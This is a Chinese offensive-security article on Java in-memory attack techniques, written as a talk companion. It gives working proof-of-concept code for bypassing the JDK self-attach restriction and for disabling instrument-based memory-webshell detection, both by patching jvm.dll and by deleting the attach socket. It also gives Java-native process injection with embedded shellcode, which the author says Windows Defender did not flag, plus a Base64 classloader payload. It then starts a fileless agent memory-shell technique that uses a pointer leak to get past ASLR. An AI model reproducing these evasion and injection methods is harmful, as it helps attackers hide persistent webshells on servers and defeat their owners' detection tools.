作者:rebeyond
原文链接:https://mp.weixin.qq.com/s/JIjBjULjFnKDjEhzVAtxhw

前言

Java技术栈漏洞目前业已是web安全领域的主流战场,随着IPS、RASP等防御系统的更新迭代,Java攻防交战阵地已经从磁盘升级到了内存里面。在今年7月份上海银针安全沙龙上,我分享了《Java内存攻击技术漫谈》的议题,个人觉得PPT承载的信息比较离散,技术类的内容还是更适合用文章的形式来分享,所以一直想着抽时间写一篇和议题配套的文章,不巧赶上南京的新冠疫情,这篇文章拖了一个多月才有时间写。

allowAttachSelf绕过

Java的instrument是Java内存攻击常用的一种机制,instrument通过attach方法提供了在JVM运行时动态查看、修改Java类的功能,比如通过instrument动态注入内存马。但是在Java9及以后的版本中,默认不允许SelfAttach:

Attach API cannot be used to attach to the current VM by default  

The implementation of Attach API has changed in JDK 9 to disallow attaching to the current VM by default. This change should have no impact on tools that use the Attach API to attach to a running VM. It may impact libraries that misuse this API as a way to get at the java.lang.instrument API. The system property jdk.attach.allowAttachSelf may be set on the command line to mitigate any compatibility with this change.

也就是说,系统提供了一个jdk.attach.allowAttachSelf的VM参数,这个参数默认为false,且必须在Java启动时指定才生效。

编写一个demo尝试attach自身PID,提示Can not attach to current VM,如下:

经过分析attch API的执行流程,定位到如下代码:

由上图可见,attach的时候会创建一个HotSpotVirtualMachine的父类,这个类在初始化的时候会去获取VM的启动参数,并把这个参数保存至HotSpotVirtualMachine的ALLOW_ATTACH_SELF属性中,恰好这个属性是个静态属性,所以我们可以通过反射动态修改这个属性的值。构造如下POC:

    Class cls=Class.forName("sun.tools.attach.HotSpotVirtualMachine");
    Field field=cls.getDeclaredField("ALLOW_ATTACH_SELF");
    field.setAccessible(true);   
    Field modifiersField=Field.class.getDeclaredField("modifiers");
    modifiersField.setInt(field,field.getModifiers()&~Modifier.FINAL);  
    field.setBoolean(null,true);

由于ALLOW_ATTACH_SELF字段有final修饰符,所以在修改ALLOW_ATTACH_SELF值的同时,也需要把它的final修饰符给去掉(修改的时候,会有告警产提示,不影响最终效果,可以忽略)。修改后,可以成功attach到自身进程,如下图:

这样,我们就成功绕过了allowAttachSelf的限制。

内存马防检测

随着攻防热度的升级,内存马注入现在已经发展成为一个常用的攻击技术。目前业界的内存马主要分为两大类:

•Agent型 利用instrument机制,在不增加新类和新方法的情况下,对现有类的执行逻辑进行修改。JVM层注入,通用性强。

•非Agent型 通过新增一些Java web组件(如Servlet、Filter、Listener、Controller等)来实现拦截请求,从而注入木马代码,对目标容器环境有较强的依赖性,通用性较弱。

由于内存马技术的火热,内存马的检测也如火如荼,针对内存马的检测,目前业界主要有两种方法:

•基于反射的检测方法

该方法是一种轻量级的检测方法,不需要注入Java进程,主要用于检测非Agent型的内存马,由于非Agent型的内存马会在Java层新增多个类和对象,并且会修改一些已有的数组,因此通过反射的方法即可检测,但是这种方法无法检测Agent型内存马。

•基于instrument机制的检测方法

该方法是一种通用的重量级检测方法,需要将检测逻辑通过attach API注入Java进程,理论上可以检测出所有类型的内存马。当然instrument不仅能用于内存马检测,java.lang.instrument是Java 1.5引入的一种可以通过修改字节码对Java程序进行监测的一种机制,这种机制广泛应用于各种Java性能检测框架、程序调试框架,如JProfiler、IntelliJ IDE等,当然近几年比较流行的RASP也是基于此类技术。

既然通过instrument机制能检测到Agent型内存马,那我们怎么样才能避免被检测到呢?答案比较简单,也比较粗暴,那就是把instrument机制破坏掉。这也是在冰蝎3.0中内存马防检测机制的实现原理,检测软件无法attach,自然也就无法检测。

首先,我们先分析一下instrument的工作流程,如下图:

1.检测工具作为Client,根据指定的PID,向目标JVM发起attach请求;
2.JVM收到请求后,做一些校验(比如上文提到的jdk.attach.allowAttachSelf的校验),校验通过后,会打开一个IPC通道。
3.接下来Client会封装一个名为AttachOperation的C++对象,发送给Server端;
4.Server端会把Client发过来的AttachOperation对象放入一个队列;
5.Server端另外一个线程会从队列中取出AttachOperation对象并解析,然后执行对应的操作,并把执行结果通过IPC通道返回Client。

由于该套流程的具体实现在不同的操作系统平台上略有差异,因此接下来我分平台来展开。

windows平台

通过分析定位到如下关键代码:

可以看到当var5不等于0的时候,attach会报错,而var5是从var4中读取的,var4是execute的返回值,跟入execute,如下:

可以看到,execute方法又把核心工作交给了方法enqueue,这个方法是一个native方法,如下图:

继续跟入enqueue方法:

可以看到enqueue中封装了一个DataBlock对象,里面有几个关键参数:

strcpy(data.jvmLib, "jvm");
strcpy(data.func1, "JVM_EnqueueOperation");
strcpy(data.func2, "_JVM_EnqueueOperation@20");

以上操作都发生在Client侧,接下来我们转到Server侧,定位到如下代码:

这段代码是把Client发过来的对象进行解包,然后解析里面的指令。经常写Windows shellcode的人应该会看到两个特别熟悉的API:GetModuleHandle、GetProcAddress,这是动态定位DLL中导出函数的常用API。这里的操作就是动态从jvm.dll中动态定位名称为JVM_EnqueueOperation和 _ JVM_EnqueueOperation@20的两个导出函数,这两个函数就是上文流程图中将AttachOperation对象放入队列的执行函数。

到这里我想大家应该知道接下来该怎么做了,那就是inlineHook。我们只要把jvm.dll中的这两个导出函数给NOP掉,不就可以成功把instrument的流程给破坏掉了么?

静态分析结束了,接下来动态调试Server侧,定位到如下位置:

图中RIP所指即为JVM_EnqueueOperation函数的入口,我们只要让RIP执行到这里直接返回即可:

怎么修改呢?当然是用JNI,核心代码如下:

unsigned char buf[]="\xc2\x14\x00"; //32,direct return enqueue function
HINSTANCE hModule = LoadLibrary(L"jvm.dll");
//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");
LPVOID dst=GetProcAddress(hModule,"_JVM_EnqueueOperation@20");
DWORD old;
if (VirtualProtectEx(GetCurrentProcess(),dst, 3, PAGE_EXECUTE_READWRITE, &old)){WriteProcessMemory(GetCurrentProcess(), dst, buf, 3, NULL);VirtualProtectEx(GetCurrentProcess(), dst, 3, old, &old);}

/*unsigned char buf[]="\xc3"; //64,direct return enqueue function
HINSTANCE hModule = LoadLibrary(L"jvm.dll");
//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");
LPVOIDdst=GetProcAddress(hModule,"JVM_EnqueueOperation");
//printf("ConnectNamedPipe:%p",dst);DWORD old;
if (VirtualProtectEx(GetCurrentProcess(),dst, 1, PAGE_EXECUTE_READWRITE, &old)){WriteProcessMemory(GetCurrentProcess(), dst, buf, 1, NULL);
VirtualProtectEx(GetCurrentProcess(), dst, 1, old, &old);
}*/

注意这里要考虑32位和64位的区别,同时要注意堆栈平衡,否则可能会导致进程crash。到此,我们就实现了Windows平台上的内存马防检测(Anti-Attach)功能,我们尝试用JProfiler连接试一下,可见已经无法attach到目标进程了:

以上即是Windows平台上的内存马防检测功能原理。

Linux平台

在Linux平台,instrument的实现略有不同,通过跟踪整个流程定位到如下代码:

可以看到,在Linux平台上,IPC通信采用的是UNIX Domain Socket,因此想破坏Linux平台下的instrument attach流程还是比较简单的,只要把对应的UNIX Domain Socket文件删掉就可以了。删掉后,我们尝试对目标JVM进行attach,便会提示无法attach:

到此,我们就实现了Linux平台上的内存马防检测(Anti-Attach)功能,当然其他 * nix-like的操作系统平台也同样适用于此方法。

最后说一句,内存马防检测,其实可以在上述instrument流程图中的任意一个环节进行破坏,都可以实现Anti-Attach的效果。

Java原生远程进程注入

在Windows平台上,进程代码注入有很多种方法,最经典的方法要属CreateRemoteThread,但是这些方法大都被防护系统盯得死死的,比如我写了如下一个最简单的远程注入shellcode的demo:

往当前进程里植入一个弹计算器的shellcode,编译,运行,然后意料之中出现如下这种情况:

但是经过分析JVM的源码我发现,在Windows平台上,Java在实现instrument的时候,出现了一个比较怪异的操作。

在Linux平台,客户端首先是先和服务端协商一个IPC通道,然后后续的操作都是通过这个通道传递AttachOperation对象来实现,换句话说,这中间传递的都是数据,没有代码。

但是在Windows平台,客户端也是首先和服务端协商了一个IPC通道(用的是命名管道),但是在Java层的enqueue函数中,同时还使用了CreateRemoteThread在服务端启动了一个stub线程,让这个线程去在服务端进程空间里执行enqueue操作:

这个stub执行体pCode是在客户端的native层生成的,生成之后作为thread_func传给服务端。但是,虽然stub是在native生成的,这个stub却又在Java层周转了一圈,最终在Java层以字节数组的方式作为Java层enqueue函数的一个参数传进Native。

这样就形成了一个完美的原生远程进程注入,构造如下POC:

import java.lang.reflect.Method;

public class ThreadMain   {    public static void main(String[] args) throws Exception {        System.loadLibrary("attach");      
Class cls=Class.forName("sun.tools.attach.WindowsVirtualMachine");      
for (Method m:cls.getDeclaredMethods())   
{          
if (m.getName().equals("enqueue"))         
{               
long hProcess=-1;     
//hProcess=getHandleByPid(30244);       
byte buf[] = new byte[]   //pop calc.exe           
{                         
(byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,                            
(byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,                            
(byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,                     
(byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,               
(byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,              
(byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,          
(byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,        
(byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,                    
(byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,                  
(byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,                     
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,                       
(byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,              
(byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,                 
(byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,                  
(byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,                   
(byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,                   
(byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,                     
(byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,                       
(byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,                    
(byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,                   
(byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,                    
(byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,                   
(byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,                 
(byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,                  
(byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,                    
(byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,                      
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,                    
(byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,                  
(byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,                   
(byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,                  
(byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,               
(byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,              
(byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,                 
(byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,                
(byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00                        };

             String cmd="load";String pipeName="test";           
             m.setAccessible(true);             
             Object result=m.invoke(cls,new Object[]{hProcess,buf,cmd,pipeName,new Object[]{}});          
             System.out.println("result:"+result);            }


        }     
        Thread.sleep(4000);  
        }    
        public static long getHandleByPid(int pid) 
        {       
        Class cls= null;    
        long hProcess=-1;   
        try {     
        cls = Class.forName("sun.tools.attach.WindowsVirtualMachine");     
        for (Method m:cls.getDeclaredMethods()) {         
        if (m.getName().equals("openProcess"))        
        {              
        m.setAccessible(true);      
        Object result=m.invoke(cls,pid);        
        System.out.println("pid :"+result);                    hProcess=Long.parseLong(result.toString());      
        }      
        }     
        } catch (Exception e) {  
        e.printStackTrace();   
        }     
        return hProcess;    }}

编译,执行:

成功执行shellcode,而且Windows Defender没有告警,天然免杀。毕竟,谁能想到有着合法签名安全可靠的Java.exe会作恶呢:)

至此,我们实现了Windows平台上的Java远程进程注入。另外,这个技术还有个额外效果,那就是当注入进程的PID设置为-1的时候,可以往当前Java进程注入任意Native代码,以实现不用JNI执行任意Native代码的效果。这样就不需要再单独编写JNI库来执行Native代码了,也就是说,上文提到的内存马防检测机制,不需要依赖JNI,只要纯Java代码也可以实现。

冰蝎3.0中提供了一键cs上线功能,采用的是JNI机制,中间需要上传一个临时库文件才能实现上线。现在利用这个技术,可以实现一个JSP文件或者一个反序列化Payload即可上线CS:

自定义类调用系统Native库函数

在上一小节Java原生远程进程注入中,我的POC里是通过反射创建了一个sun.tools.attach.VirtualMachineImpl类,然后再去调用类里面的enqueue这个Native方法。这时可能会有同学有疑惑,这个Native方法位于attach.dll,这个dll是JDK和Server-JRE默认自带的,但是这个sun.tools.attach.VirtualMachineImpl类所在的tools.jar包并不是每个JDK环境都有的。这个技术岂不是要依赖tools.jar?因为有些JDK环境是没有tools.jar的。当然,这个担心是没必要的。

我们只要自己写一个类,类的限定名为sun.tools.attach.VirtualMachineImpl即可。不过可能还会有疑问,我们自己写一个sun.tools.attach.VirtualMachineImpl类,但是如果某个目标里确实有tools.jar,那我们自己写的类在加载的时候就会报错,有没有一个更通用的方法呢?当然还是有的。

其实这个方法在冰蝎1.0版本的时候就已经解决了,那就是用一个自定义的classLoader。但是我们都知道classLoader在loadClass的时候采用双亲委托机制,也就是如果系统中已经存在一个类,即使我们用自定义的classLoader去loadClass,也会返回系统内置的那个类。但是如果我们绕过loadClass,直接去defineClass即可从我们指定的字节码数组里创建类,而且类名我们可以任意自定义,重写java.lang.String都没问题:) 然后再用defineClass返回的Class去实例化,然后再调用我们想调用的Native函数即可。因为Native函数在调用的时候只检测发起调用的类限定名,并不检测发起调用类的ClassLoader,这是我们这个方法能成功的原因。

比如我们自定义如下这个类:

package sun.tools.attach;

import java.io.IOException;
import java.util.Scanner;

public class WindowsVirtualMachine {   
static native void enqueue(long hProcess, byte[] stub,           
String cmd, String pipename, Object... args) throws IOException;

    static native long openProcess(int pid) throws IOException;

    public static void run(byte[] buf) {        System.loadLibrary("attach");    
    try {         
    enqueue(-1, buf, "test", "test", new Object[]{});   
    } catch (Exception e) {       
    e.printStackTrace();     
    }   
    }
    }

然后把这个类编译成class文件,把这个文件用Base64编码,然后写到如下POC里:

import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.security.Permission;
import java.util.Arrays;import java.util.Base64;

public class Poc {
    public static class Myloader extends ClassLoader //继承ClassLoader
    {      
    public Class get(byte[] b) {         
    return super.defineClass(b, 0, b.length);    
    }

    }

    public static void main(String[] args)
    {

        try {
        StringclassStr="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";            Class result = new Myloader().get(Base64.getDecoder().decode(classStr));
            for (Method m:result.getDeclaredMethods())            {                System.out.println(m.getName());                if (m.getName().equals("run"))                {                    m.invoke(result,new byte[]{});                }            }        } catch (Exception e) {            e.printStackTrace();        }    }}

这样就可以通过自定义一个系统内置类来加载系统库函数的Native方法。

无文件落地Agent型内存马植入

可行性分析

前面我们讲到了目前Java内存马的分类:Agent型内存马和非Agent型内存马。由于非Agent型内存马注入后,会产生新的类和对象,同时还会产生各种错综复杂的相互引用关系,比如要创建一个恶意Filter内存马,需要先修改已有的FilterMap,然后新增FilterConfig、FilterDef,最后还要修改FilterChain,这一系列操作产生的脏数据过多,不够整洁。因此我还是认为Agent型内存马才是更理想的内存马。

但是目前来看,Agent型内存马的缺点也非常明显:

•磁盘有agent文件落地
•需要上传文件,植入步骤复杂
•如无写文件权限,则无法植入

众所周知,想要动态修改JVM中已经加载的类的字节码,必须要通过加载一个Agent来实现,这个Agent可以是Java层的agent.jar,也可以是Native层的agent.so,但是必须要有个agent。有没有一种方法可以既优雅又简洁的植入Agent型内存马呢?换句话说,有没有一种方法可以在不依赖额外Agent的情况下,动态修改JVM中已经加载的类的字节码呢?以前没有,现在有了:)

首先,我们先看一下通过Agent动态修改类的流程:

1.在客户端和目标JVM建立IPC连接以后,客户端会封装一个用来加载agent.jar的AttachOperation对象,这个对象里面有三个关键数据:actioName、libName和agentPath;
2.服务端收到AttachOperation后,调用enqueue压入AttachOperation队列等待处理;
3.服务端处理线程调用dequeue方法取出AttachOperation;
4.服务端解析AttachOperation,提取步骤1中提到的3个参数,调用actionName为load的对应处理分支,然后加载libinstrument.so(在windows平台为instrument.dll),执行AttachOperation的On_Attach函数(由此可以看到,Java层的instrument机制,底层都是通过Native层的Instrument来封装的);
5.libinstrument.so中的On_Attach会解析agentPath中指定的jar文件,该jar中调用了redefineClass的功能;
6.执行流转到Java层,JVM会实例化一个InstrumentationImpl类,这个类在构造的时候,有个非常重要的参数mNativeAgent:

这个参数是long型,其值是一个Native层的指针,指向的是一个C++对象JPLISAgent。7.InstrumentationImpl实例化之后,再继续调用InstrumentationImpl类的redefineClasses方法,做稍许校验之后继续调用InstrumentationImpl的Native方法redefineClasses0
8.执行流继续走入Native层:

继续跟入:

做了一系列判断之后,最终调用jvmtienv的redefineClasses方法执行类redefine操作:

接下来理一下思路,在上面的8个步骤中,我们只要能跳过前面5个步骤,直接从步骤6开始执行,即可实现我们的目标。那么问题来了,步骤6中在实例化InstrumentationImpl的时候需要的非常重要的mNativeAgent参数值,这个值是一个指向JPLISAgent对象的指针,这个值我们不知道。只有一个办法,我们需要自己在Native层组装一个JPLISAgent对象,然后把这个对象的地址传给Java层InstrumentationImpl的构造器,就可以顺利完成后面的步骤。

组装JPLISAgent

Native内存操作

想要在Native内存上创建对象,首先要获取可控的Native内存操作能力。我们知道Java有个DirectByteBuffer,可以提供用户申请堆外内存的能力,这也就说明DirectByteBuffer是有操作Native内存的能力,而DirectByteBuffer底层其实使用的是Java提供的Unsafe类来操作底层内存的,这里我们也直接使用Unsafe进行Native内存操作。

通过如下代码获取Unsafe:

Unsafe unsafe = null;
try {    Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");    field.setAccessible(true);    unsafe = (sun.misc.Unsafe) field.get(null);} catch (Exception e) {    throw new AssertionError(e);}

通过unsafe的allocateMemory、putlong、getAddress方法,可以实现Native内存的分配、读写。

分析JPLISAgent结构

接下来,就是分析JPLISAgent对象的结构了,如下:

JPLISAgent是一个复杂的数据结构。由上文中redefineClasses代码可知,最终实现redefineClasses操作的是 * jvmtienv的redefineClasses函数。但是这个jvmtienv的指针,是通过jvmti(JPLISAgent)推导出来的,如下:

而jvmti是一个宏:

而在执行到 * jvmtienv的redefineClasses之前,还有多处如下调用都用到了jvmtienv:

因此,我们至少要保证我们自己组装的JPLISAgent对象需要成功推导出jvmtienv的指针,也就是JPLISAgent的mNormalEnvironment成员,其结构如下:

可以看到这个结构里存在一个回环指针mAgent,又指向了JPLISAgent对象,另外,还有个最重要的指针mJVMTIEnv,这个指针是指向内存中的JVMTIEnv对象的,这是JVMTI机制的核心对象。另外,经过分析,JPLISAgent对象中还有个mRedefineAvailable成员,必须要设置成true。

接下来就是要确定JVMTIEnv的地址了。

定位JVMTIEnv

通过动态分析可知,0x000002E62D8EE950为JPLISAgent的地址,0x000002E62D8EE950+0x8(0x000002E62D8EEB60)为mJVMTIEnv,即指向JVMTIEnv指针的指针:

转到该指针:

可以看到0x6F78A220即为JVMTIEnv对象的真实地址,通过分析发现,该对象存在于jvm模块的地址空间中,而且偏移量是固定的,那只要找到jvm模块的加载基址,加加上固定的偏移量即是JVMTIEnv对象的真实地址。但是,现代操作系统默认都开启了ASLR,因此jvm模块的基址并不可知。

信息泄露获取JVM基址

由上文可知,Unsafe提供了堆外内存的分配能力,这里的堆并不是OS层面的堆,而是Java层面的堆,无论是Unsafe分配的堆外地址,还是Java的堆内地址,其都在OS层的堆空间内。经过分析发现,在通过Unsafe分配一个很小的堆外空间时,这个堆外空间的前后内存中,存在大量的指针,而这些指针中,有一些指针指向jvm的地址空间。编写如下代码:

long allocateMemory = unsafe.allocateMemory(3);System.out.println("allocateMemory:"+Long.toHexString(allocateMemory));

输出如下:

定位到地址0x2e61a1b67d0:

可见前后有很多指针,绿色的那些指针,都指向jvm的地址空间:

